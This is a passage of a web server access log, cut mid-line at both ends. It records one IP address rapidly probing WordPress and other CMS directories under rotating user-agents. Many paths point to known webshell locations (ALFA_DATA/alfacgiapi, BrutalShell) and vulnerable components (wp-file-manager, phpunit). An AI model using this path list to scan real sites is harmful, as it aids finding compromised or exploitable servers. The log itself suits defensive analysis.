10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:14:47 +0300] "GET /img/chat-search.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:48 +0300] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:48 +0300] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:48 +0300] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:48 +0300] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 193.37.32.170 - - [28/Feb/2026:03:14:48 +0300] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:49 +0300] "GET /wp-includes/l10n/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:49 +0300] "GET /wp-content/uploads/2023/11/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:49 +0300] "GET /wp-includes/sodium_compat/lib/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 193.37.32.170 - - [28/Feb/2026:03:14:49 +0300] "GET /wp-includes/blocks/file/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 193.37.32.170 - - [28/Feb/2026:03:14:50 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:50 +0300] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:14:50 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:50 +0300] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 193.37.32.170 - - [28/Feb/2026:03:14:50 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 193.37.32.170 - - [28/Feb/2026:03:14:51 +0300] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:51 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:51 +0300] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:51 +0300] "GET /wp-includes/id3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:14:52 +0300] "GET /wp-includes/blocks/query/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:52 +0300] "GET /wp-includes/js/tinymce/langs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.37.32.170 - - [28/Feb/2026:03:14:52 +0300] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:14:52 +0300] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:52 +0300] "GET /blog/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:14:53 +0300] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:14:53 +0300] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:14:53 +0300] "GET /wp-includes/wp-class.php/wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:53 +0300] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:53 +0300] "GET /wp-admin/js/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:14:54 +0300] "GET /assets/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:54 +0300] "GET /wp-includes/js/jquery/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:14:54 +0300] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:14:54 +0300] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:55 +0300] "GET /wp-content/plugins/wp-file-manager/admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:55 +0300] "GET /wp-admin/js/widget/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:14:55 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:55 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:55 +0300] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:14:56 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:56 +0300] "GET /wordpress/wp-admin/includes HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 193.37.32.170 - - [28/Feb/2026:03:14:56 +0300] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:14:56 +0300] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:14:56 +0300] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:57 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 193.37.32.170 - - [28/Feb/2026:03:14:57 +0300] "GET /wp-includes/ID3 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:14:57 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:14:57 +0300] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:14:58 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:58 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 193.37.32.170 - - [28/Feb/2026:03:14:58 +0300] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 193.37.32.170 - - [28/Feb/2026:03:14:58 +0300] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 193.37.32.170 - - [28/Feb/2026:03:14:58 +0300] "GET /wp-content/uploads/ao_ccss/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:59 +0300] "GET /wp-content/uploads/2021/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:59 +0300] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:14:59 +0300] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 193.37.32.170 - - [28/Feb/2026:03:14:59 +0300] "GET /upload/image/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:14:59 +0300] "GET /wordpress/wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:15:00 +0300] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:00 +0300] "GET /blog/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 193.37.32.170 - - [28/Feb/2026:03:15:00 +0300] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:15:01 +0300] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:01 +0300] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:15:01 +0300] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:01 +0300] "GET /admin/tmp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:15:02 +0300] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 193.37.32.170 - - [28/Feb/2026:03:15:02 +0300] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 193.37.32.170 - - [28/Feb/2026:03:15:03 +0300] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:15:03 +0300] "GET /administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:15:03 +0300] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:04 +0300] "GET /assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:04 +0300] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:15:04 +0300] "GET /components/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:15:04 +0300] "GET /home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:04 +0300] "GET /include/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 193.37.32.170 - - [28/Feb/2026:03:15:05 +0300] "GET /modules/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:05 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 193.37.32.170 - - [28/Feb/2026:03:15:05 +0300] "GET /mt/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:05 +0300] "GET /site/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:05 +0300] "GET /tmps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:06 +0300] "GET /wordpress/wp-admin/includes/wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:15:06 +0300] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:15:06 +0300] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:15:06 +0300] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 193.37.32.170 - - [28/Feb/2026:03:15:07 +0300] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 193.37.32.170 - - [28/Feb/2026:03:15:07 +0300] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:07 +0300] "GET /wp-content/uploads/2022/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 193.37.32.170 - - [28/Feb/2026:03:15:07 +0300] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 193.37.32.170 - - [28/Feb/2026:03:15:07 +0300] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:08 +0300] "GET /wp-includes/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 193.37.32.170 - - [28/Feb/2026:03:15:08 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:08 +0300] "GET /wp-includes/ID3/wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:08 +0300] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:09 +0300] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.37.32.170 - - [28/Feb/2026:03:15:09 +0300] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 193.37.32.170 - - [28/Feb/2026:03:15:09 +0300] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:15:09 +0300] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:10 +0300] "GET /wp-includes/js/plupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:15:10 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:15:10 +0300] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:10 +0300] "GET /cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:15:11 +0300] "GET /wp-content/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:15:11 +0300] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 193.37.32.170 - - [28/Feb/2026:03:15:11 +0300] "GET /wp-content/plugins/aryabot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:11 +0300] "GET /wp-content/plugins/BrutalShell/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:15:12 +0300] "GET /wp-content/plugins/cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:15:12 +0300] "GET /wp-content/plugins/cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:12 +0300] "GET /wp-content/plugins/cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:12 +0300] "GET /wp-content/plugins/db/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:12 +0300] "GET /wp-content/plugins/home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:15:13 +0300] "GET /wp-content/plugins/limit/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 193.37.32.170 - - [28/Feb/2026:03:15:13 +0300] "GET /wp-content/plugins/owfsmac/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:13 +0300] "GET /wp-content/plugins/prenota/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.37.32.170 - - [28/Feb/2026:03:15:13 +0300] "GET /wp-content/plugins/random/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:13 +0300] "GET /wp-content/plugins/ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:15:14 +0300] "GET 